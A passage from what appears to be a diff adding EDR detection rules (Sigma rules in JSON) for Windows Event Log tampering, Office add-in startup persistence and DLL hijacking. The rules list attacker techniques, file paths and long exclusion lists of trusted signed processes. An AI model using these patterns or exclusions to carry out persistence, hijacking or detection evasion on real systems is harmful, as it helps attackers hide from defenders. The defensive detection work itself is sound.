Security\\atcuf\\\\??????????????????\\atcuf64.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\\\??????????????????\\atcuf64.dll+????|UNKNOWN(00000???????????)'\n            - '|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\dlls_??????????????????\\atcuf64.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\dlls_??????????????????\\atcuf64.dll+????|UNKNOWN(00000???????????)'\n            - '|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\\\??????????????????\\atcuf64.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\\\??????????????????\\atcuf64.dll+????|UNKNOWN(00000???????????)'\n\n    exclusion_bitdefender_dll_32bits:\n        CallTrace|contains:\n            - '|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_??????????????????\\atcuf32.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\dlls_??????????????????\\atcuf32.dll+????|UNKNOWN(00000???????????)|?:\\'\n            - '|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\\\??????????????????\\atcuf32.dll+?????|?:\\Program Files\\Bitdefender\\Endpoint Security\\atcuf\\\\??????????????????\\atcuf32.dll+????|UNKNOWN(00000???????????)|?:\\'\n            - '|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\dlls_??????????????????\\atcuf32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\dlls_??????????????????\\atcuf32.dll+????|UNKNOWN(00000???????????)|?:\\'\n            - '|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\\\??????????????????\\atcuf32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\atcuf\\\\??????????????????\\atcuf32.dll+????|UNKNOWN(00000???????????)|?:\\'\n            - '|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm32.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm32.dll+?????|UNKNOWN(00000???????????)|?:\\'\n            - '|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(00000???????????)|?:\\'\n\n    exclusion_malwarebytes_service:\n        ProcessProcessName: 'MBAMService.exe'\n        ProcessInternalName: 'MBAMService.exe'\n        ProcessOriginalFileName: 'MBAMService.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n          - 'Malwarebytes Inc'\n          - 'Malwarebytes Inc.'\n\n    exclusion_connectifyd:\n        ProcessProcessName: 'Connectifyd.exe'\n        ProcessInternalName: 'Connectifyd.exe'\n        ProcessOriginalFileName: 'Connectifyd.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Connectify (Connectify, Inc.)'\n\n    exclusion_ms_sensor:\n        ProcessProcessName: 'SensorLogonTask.exe'\n        ProcessInternalName: 'SensorLogonTask.exe'\n        ProcessOriginalFileName: 'SensorLogonTask.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_ms_sql_server_installer:\n        CallTrace|contains: 'sqlprocesssub.dll'\n        ProcessInternalName: 'Microsoft.SqlServer.Chainer.Setup'\n        ProcessOriginalFileName: 'Microsoft.SqlServer.Chainer.Setup.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_symantec_service_framework1:\n        ProcessProcessName: 'ccSvcHst.exe'\n        ProcessOriginalFileName: 'ccSvcHst.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n        GrantedAccess: '0x1fffff'\n\n    exclusion_symantec_service_framework2:\n        ProcessImage: '?:\\Windows\\System32\\cscript.exe'\n        ProcessParentImage: '?:\\Program Files\\Symantec\\Symantec Endpoint Protection\\\\*\\Bin64\\ccSvcHst.exe'\n\n    exclusion_bitdefender_service:\n        CallTrace|contains|all:\n            - 'Bitdefender Security'\n            - 'atcuf64.dll'\n        ProcessProcessName: 'svchost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_avira_setup:\n        CallTrace|contains|all:\n            - 'Avira'\n            - 'systemutilities.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Avira Operations GmbH ? Co. KG'\n\n    exclusion_cylance:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Cylance, Inc.'\n\n    exclusion_windows_defender:\n        CallTrace|contains|all:\n            - '?:\\Program Files\\Windows Defender\\MpSvc.dll'\n            - '?:\\Program Files\\Windows Defender\\MpClient.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_dell:\n        CallTrace|contains|all:\n            - '\\Dell\\SupportAssistAgent\\'\n            - 'Reaver.dll'\n        ProcessProcessName: 'Dsapi.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'PC-Doctor, Inc.'\n\n    exclusion_wmi_win32_process_list:\n        CallTrace|contains:\n            - '?:\\Windows\\SYSWOW64\\wbem\\WmiPerfClass.dll'\n            - '?:\\Windows\\System32\\wbem\\WmiPerfClass.dll'\n        ProcessProcessName: 'WmiPrvSE.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_wmi_perfproc:\n        CallTrace|contains|all:\n            - '\\perfproc.dll'\n            - '\\pdh.dll'\n        ProcessProcessName: 'WmiPrvSE.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_msiexec_perfproc:\n        CallTrace|contains|all:\n            - '\\perfproc.dll'\n            - '\\msi.dll'\n        ProcessProcessName: 'msiexec.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_sqlserver:\n        ProcessProcessName: 'scenarioengine.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_mpengine_dll:\n        # C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{4D3EBD53-6213-4DF5-93EE-076A6A0589B1}\\mpengine.dll+1b3845\n        CallTrace|contains:\n            - 'Definition Updates\\{????????-????-????-????-????????????}\\mpengine.dll'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MpSvc.dll'\n        #ProcessProcessName:\n        #    - 'MsMpEng.exe'\n        #    # Windows 7 with Windows Defender\n        #    - 'svchost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            # Windows 7 with Windows Defender\n            - 'Microsoft Windows'\n        GrantedAccess: '0x1FFFFF'\n\n    exclusion_msmpeng:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            # Windows 7 with Windows Defender\n            - 'Microsoft Windows'\n        ProcessImage: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n\n    exclusion_optimize_it_service_host:\n        ProcessProcessName: 'ServiceHost.exe'\n        ProcessImage:\n            - '?:\\Program Files (x86)\\OptimizeIT\\CollectIT Service\\ServiceHost.exe'\n            - '?:\\Program Files\\OptimizeIT\\CollectIT Service\\ServiceHost.exe'\n        GrantedAccess: '0x1f3fff'\n\n    exclusion_mcafee:\n        ProcessProcessName:\n            - 'mfetp.exe'\n            - 'mcshield.exe'\n            - 'mfefw.exe' # C:\\Program Files\\McAfee\\Endpoint Security\\Firewall\\mfefw.exe\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'McAfee, LLC'\n            - 'MUSARUBRA US LLC'  # new signer name for mcafee/trellix it seems\n\n    exclusion_kaspersky1:\n        ProcessProcessName:\n            - 'avp.exe'\n            - 'Antivirus.OutprocScanner.exe'\n            - 'kavfswp.exe' # ?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfswp.exe\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Kaspersky Lab'\n            - 'Kaspersky Lab JSC'\n    exclusion_kaspersky2:\n        ProcessOriginalFileName: 'Kaspersky Virus Removal Tool.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'AO Kaspersky Lab'\n\n    exclusion_battleeye:\n        ProcessImage: '?:\\Program Files (x86)\\Common Files\\BattlEye\\BEService.exe'\n\n    exclusion_kited:\n        ProcessImage: '?:\\Program Files\\Kite\\kited.exe'\n\n    exclusion_trendmicro:\n        ProcessProcessName:\n            - 'TmCCSF.exe'\n            # C:\\Program Files (x86)\\Trend Micro\\Security Agent\\Ntrtscan.exe\n            - 'Ntrtscan.exe'\n            - 'coreServiceShell.exe' # C:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe\n            - 'TMBMSRV.exe' # C:\\Program Files (x86)\\Trend Micro\\BM\\TMBMSRV.exe\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    exclusion_csrss:\n        ProcessProcessName: 'csrss.exe'\n        ProcessImage: '?:\\Windows\\System32\\csrss.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ProcessIntegrityLevel: 'System'\n        # %SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16\n        ProcessCommandLine|contains: '%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection='\n\n    exclusion_norton:\n        ProcessProcessName: 'NortonSecurity.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NortonLifeLock Inc.'\n\n    exclusion_rpc:\n        ProcessProcessName: 'services.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        CallTrace|contains: '?:\\Windows\\System32\\rpcrt4.dll'\n        GrantedAccess: '0x1FFFFF'\n\n    exclusion_easeus:\n        ProcessProcessName: 'Agent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'CHENGDU YIWO Tech Development Co., Ltd.'\n        CallTrace|contains: '?:\\Program Files (x86)\\EaseUS\\Todo Backup\\bin\\CmdManager.dll'\n\n    exclusion_exchange:\n        ProcessProcessName: 'ExSetupUI.exe'\n        ProcessInternalName: 'ExSetupUI.exe'\n        ProcessOriginalFileName: 'ExSetupUI.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_wmiprvse:\n        ProcessImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n        ProcessParentCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k DcomLaunch'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k DcomLaunch -p'\n        GrantedAccess:\n            - '0x1f3fff'\n            - '0x1f1fff'\n        CallTrace:\n            - '?:\\Windows\\System32\\ntdll.dll+????|?:\\Windows\\System32\\KernelBase.dll+????|UNKNOWN(0000????????????)'\n            - '?:\\Windows\\System32\\ntdll.dll+????|?:\\Windows\\System32\\KernelBase.dll+?????|UNKNOWN(0000????????????)'\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\KernelBase.dll+????|UNKNOWN(0000????????????)'\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\KernelBase.dll+?????|UNKNOWN(0000????????????)'\n            - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\KernelBase.dll+????|UNKNOWN(0000????????????)|UNKNOWN(0000????????????)|*?:\\Windows\\Microsoft.NET\\Framework\\\\*\\clr.dll*'\n\n    exclusion_realtek:\n        ProcessImage:\n            - '?:\\Windows\\System32\\RtkAudUService64.exe'\n            - '?:\\Windows\\System32\\DriverStore\\FileRepository\\\\*\\RtkAudUService64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Realtek Semiconductor Corp.'\n\n    exclusion_examshield:\n        ProcessImage|endswith: '\\AppData\\Roaming\\Peoplecert\\ExamShield\\ExamShield.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'PEOPLECERT INTERNATIONAL LTD'\n\n    exclusion_examshield_parent:\n        ProcessProcessName: 'ExamShield.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'PEOPLECERT INTERNATIONAL LTD'\n\n    exclusion_nable:\n        ProcessImage: '?:\\ProgramData\\GetSupportService_N-Central\\Updates\\\\*'\n        ProcessSigned: 'true'\n        ProcessSignature: 'N-ABLE TECHNOLOGIES LTD'\n\n    exclusion_panda:\n        ProcessOriginalFileName: 'PSANHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Panda Security S.L.'\n            - 'Panda Security, S.L.'\n\n    exclusion_lenovo:\n        ProcessProcessName:\n            - 'LenovoVantage-(SmartPerformanceAddin).exe'\n            # C:\\windows\\System32\\DriverStore\\FileRepository\\fn.inf_amd64_b35e68dd5c21bba8\\driver\\TPHKLOAD.exe\n            - 'tphkload.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Lenovo'\n\n    exclusion_ivanti:\n        CallTrace|contains:\n            - 'Program Files\\Ivanti\\Endpoint\\atcuf\\\\*\\atcuf64.dll'\n            - 'Program Files\\Ivanti\\Endpoint\\bdhkm32.dll'\n        ProcessProcessName:\n            - 'WmiPrvSE.exe'\n            - 'tphkload.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Lenovo'\n\n    exclusion_bitdefender_injection_64:\n        CallTrace|startswith:\n          # \\Bitdefender\\Endpoint Security\\ and \\Bitdefender\\Bitdefender Security\\\n          - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|UNKNOWN(00007???????????)|?:\\Windows\\System32\\KernelBase.dll+'\n          - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|UNKNOWN(00007???????????)|?:\\Windows\\System32\\ntdll.dll+'\n          - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|UNKNOWN(00007???????????)|?:\\Windows\\System32\\KernelBase.dll+'\n          - '?:\\Windows\\System32\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm64.dll+?????|UNKNOWN(00007???????????)|?:\\Windows\\System32\\ntdll.dll+'\n    exclusion_bitdefender_injection_32:\n        CallTrace|contains:\n          # \\Bitdefender\\Endpoint Security\\ and \\Bitdefender\\Bitdefender Security\\\n          - '|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Bitdefender\\\\* Security\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(00000000????????)|'\n          - '|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????|?:\\Windows\\SysWOW64\\ntdll.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|?:\\Program Files\\Ivanti\\Endpoint\\bdhkm\\dlls_??????????????????\\bdhkm32.dll+?????|UNKNOWN(00000000????????)|'\n\n    exclusion_zenworks:\n        ProcessImage: '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\ZenNotifyIcon.exe'\n\n    exclusion_dict:\n        ProcessImage: '?:\\Program Files (x86)\\DicT\\Fichiers Communs\\DicT.exe'\n\n    exclusion_tasklist_module:\n        ProcessImage:\n            - '?:\\Windows\\System32\\tasklist.exe'\n            - '?:\\Windows\\Syswow64\\tasklist.exe'\n        # C:\\Windows\\system32\\tasklist.exe /M LenovoBatteryGaugePackage.dll\n        ProcessCommandLine: '*tasklist* /M *.dll'\n        GrantedAccess: '0x1fffff'\n\n    exclusion_java:\n        ProcessImage: '*\\runtime\\jre\\bin\\java.exe'\n        CallTrace|contains: 'runtime\\jre\\bin\\client\\jvm.dll'\n\n    exclusion_topaz_ofd:\n        ProcessImage: '?:\\Program Files\\Topaz OFD\\Warsaw\\core.exe'\n\n    exclusion_superantispyware:\n        ProcessOriginalFileName: 'SUPERAntiSpyware.exe'\n\n    exclusion_razer:\n        ProcessImage: '?:\\Program Files (x86)\\Razer\\Razer Cortex\\RazerCortex.exe'\n\n    exclusion_dnspy:\n        ProcessImage: '*\\dnSpy.exe'\n        ProcessInternalName: 'dnSpy.dll'\n        ProcessOriginalFileName: 'dnSpy.dll'\n\n    exclusion_controlup_signed:\n        ProcessImage: '*\\cuAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ControlUp, Inc.'\n    exclusion_controlup_unsigned:\n        ProcessImage: '?:\\Program Files\\Smart-X\\ControlUpAgent\\Version *\\cuAgent.exe'\n        ProcessOriginalFileName: 'cuAgent.exe'\n\n    exclusion_hpdia:\n        ProcessImage|endswith: '\\HPDIA.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'HP Inc.'\n\n    exclusion_archestra:\n        ProcessImage:\n            - '?:\\Program Files\\Common Files\\ArchestrA\\Install\\{????????-????-????-????-????????????}\\FormLoader.exe'\n            - '?:\\Program Files (x86)\\Common Files\\ArchestrA\\Install\\{????????-????-????-????-????????????}\\FormLoader.exe'\n\n    exclusion_coraactivite:\n        ProcessImage: '?:\\Program Files (x86)\\CORA\\\\*\\CoRa Activite\\CORA_Activite.exe'\n        ProcessCompany: 'Maincare Solutions'\n\n    exclusion_mediqual:\n        ProcessImage:\n            - '?:\\Program Files\\Mediqual7\\MediFrameWork.exe'\n            - '?:\\Program Files (x86)\\Mediqual7\\MediFrameWork.exe'\n        ProcessOriginalFileName: 'MediFrameWork.exe'\n\n    exclusion_veeam:\n        ProcessOriginalFileName: 'Veeam.Setup.Wizard.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Veeam Software Group GmbH'\n\n    exclusion_adguard:\n        ProcessOriginalFileName: 'AdguardSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Adguard Software Limited'\n\n    exclusion_lenovo_2:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\Lenovo\\Lenovo Service Bridge\\LSB.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Lenovo (Beijing) Limited'\n\n    exclusion_teams:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows'\n\n    exclusion_inuit:\n        ProcessImage:\n            - '?:\\Program Files\\Intuit\\QuickBooks Desktop File Doctor\\QBFDT.exe'\n            - '?:\\Program Files (x86)\\Intuit\\QuickBooks Desktop File Doctor\\QBFDT.exe'\n\n    exclusion_imagine_editions:\n        ProcessImage:\n            - '?:\\program files\\imagine editions\\hdupdate\\hdupdate.exe'\n            - '?:\\program files (x86)\\imagine editions\\hdupdate\\hdupdate.exe'\n\n    exclusion_werfault1:\n        ProcessImage:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\syswow64\\WerFault.exe'\n    exclusion_werfault2:\n        ProcessCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k WerSvcGroup'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_siemens:\n        ProcessImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        ProcessGrandparentImage: '?:\\Program Files\\Siemens\\syngo\\bin\\syngo.Common.Starter.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    condition: selection_base and 1 of selection_variant_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "368a9015-91da-4e88-9611-4dd3cf5e001c",
+  "rule_name": "Windows Event Log Svchost Process Suspiciously Accessed",
+  "rule_description": "Detects an attempt to open an svchost process in a similar way as Phant0m to kill or suspend the threads of the Windows Event Log service.\nAttackers may try to tamper with the Event Log service to prevent it from reporting malicious activities to logging or EDR solutions.\nIt is recommended to investigate the process accessing the Event Log to look for malicious content or actions and to investigate any subsequent suspicious activities on the host.\n",
+  "rule_creation_date": "2021-06-21",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "368a9f20-42e6-4ede-af88-85a899503dea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621536Z",
+  "creation_date": "2026-03-23T11:45:34.621538Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621543Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/StopMalvertisin/status/1575195280193880064",
+    "https://pentestlab.blog/2019/12/11/persistence-office-application-startup/",
+    "https://attack.mitre.org/techniques/T1137/006/"
+  ],
+  "name": "t1137_006_office_application_addin_startup.yml",
+  "content": "title: Possible Persistence via Office Application Addin Startup\nid: 368a9f20-42e6-4ede-af88-85a899503dea\ndescription: |\n    Detects the installation of a new Office addin in the application's startup folder.\n    This method has been used by attackers to achieve persistence since the addin is executed each time the application launches.\n    It is recommended to investigate the process that created the file for suspicious activities.\nreferences:\n    - https://twitter.com/StopMalvertisin/status/1575195280193880064\n    - https://pentestlab.blog/2019/12/11/persistence-office-application-startup/\n    - https://attack.mitre.org/techniques/T1137/006/\ndate: 2022/09/29\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1137.006\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection_file_startup:\n        Path|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLStart\\'\n        Path|contains: '.xls'\n\n    selection_file_addins:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Addins\\'\n        Path|contains:\n            - '.wll'\n            - '.wla'\n            - '.xll'\n            - '.xla'\n            - '.xls'\n            - '.dll'\n            - '.ppa'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_tmp:\n        TargetFilename|endswith: '\\~$*'\n\n    exclusion_ivanti:\n        ProcessProcessName: 'pfwsmgr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Program Files\\Citrix\\User Profile Manager\\UserProfileManager.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Citrix Systems, Inc.'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "368a9f20-42e6-4ede-af88-85a899503dea",
+  "rule_name": "Possible Persistence via Office Application Addin Startup",
+  "rule_description": "Detects the installation of a new Office addin in the application's startup folder.\nThis method has been used by attackers to achieve persistence since the addin is executed each time the application launches.\nIt is recommended to investigate the process that created the file for suspicious activities.\n",
+  "rule_creation_date": "2022-09-29",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1137.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "36a9ea38-0c3a-4f1e-b5bb-2cd452aeb315",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592118Z",
+  "creation_date": "2026-03-23T11:45:34.592122Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592129Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://web.archive.org/web/20221117081846/https://dec0ne.github.io/research/2022-11-14-Undetected-Lsass-Dump-Workflow/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_imagingdevices.yml",
+  "content": "title: DLL Hijacking via ImagingDevices.exe\nid: 36a9ea38-0c3a-4f1e-b5bb-2cd452aeb315\ndescription: |\n    Detects potential Windows DLL Hijacking via ImagingDevices.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://web.archive.org/web/20221117081846/https://dec0ne.github.io/research/2022-11-14-Undetected-Lsass-Dump-Workflow/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/12/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    